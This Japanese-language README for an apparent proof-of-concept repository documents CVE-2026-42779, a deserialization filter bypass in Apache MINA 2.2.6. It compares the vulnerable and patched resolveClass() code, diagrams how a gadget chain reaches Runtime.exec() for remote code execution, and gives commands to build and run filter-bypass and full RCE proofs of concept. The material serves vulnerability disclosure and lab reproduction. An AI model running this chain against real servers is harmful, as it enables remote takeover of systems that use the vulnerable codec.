// AbstractIoBuffer.java — 脆弱性あり (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    Class<?> clazz = desc.forClass();

    if (clazz == null) {
        // BUG: acceptMatchersチェックなし — フィルタが完全にバイパスされる
        return Class.forName(name, false, classLoader);
    } else {
        // フィルタはここでのみ適用される
        for (ClassNameMatcher matcher : acceptMatchers) { ... }
    }
}

// AbstractIoBuffer.java — 修正済み (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    String className = desc.getName();

    // フィルタが最初に適用される（forClass() の結果に関係なく）
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    Class<?> clazz = desc.forClass();
    // ... 以降は安全な解決処理
}

攻撃者                                    脆弱なMINAサーバー
   |                                              |
   |  1. ガジェットチェーンクラス用のタイプ0        |
   |     記述子を含むMINAペイロードを作成           |
   |                                              |
   |  2. ObjectSerializationCodecFactory を使用する |
   |     エンドポイントに送信 -------------------->|
   |                                              |
   |          3. readClassDescriptor() がタイプ0を読み取る
   |             → スーパークラス（標準Java）に委譲 |
   |                                              |
   |          4. resolveClass() が forClass()==null を検出
   |             → フィルタなしで Class.forName() を呼び出し |
   |                                              |
   |          5. ガジェットチェーンが完全に逆シリアライズされる
   |             → readObject() がチェーンをトリガー
   |             → Runtime.exec() が発火            |
   |                                              |
   |                               RCE達成         |

# このリポジトリをクローン
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779

# すべてのPoCをビルドして実行
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779

# 個別のPoCを実行
docker run --rm cve-2026-42779 bypass     # フィルタバイパスのみ
docker run --rm cve-2026-42779 crafted    # 作成されたペイロードのバイパス
docker run --rm cve-2026-42779 rce        # 完全なRCE

# シェルに入って調査
docker run --rm -it cve-2026-42779 shell

# 脆弱なバージョンをクローンしてビルド
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q

# commons-collectionsをダウンロード（RCE PoC用）
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
  -o commons-collections-3.2.2.jar

# PoCをコンパイル
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java

# フィルタバイパスPoCを実行
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC

# 作成されたペイロードPoCを実行
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC

# 完全なRCE PoCを実行
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
     RcePoC

make run-all    # 3つのPoCすべてをビルドして実行
make run-rce    # RCE PoCのみ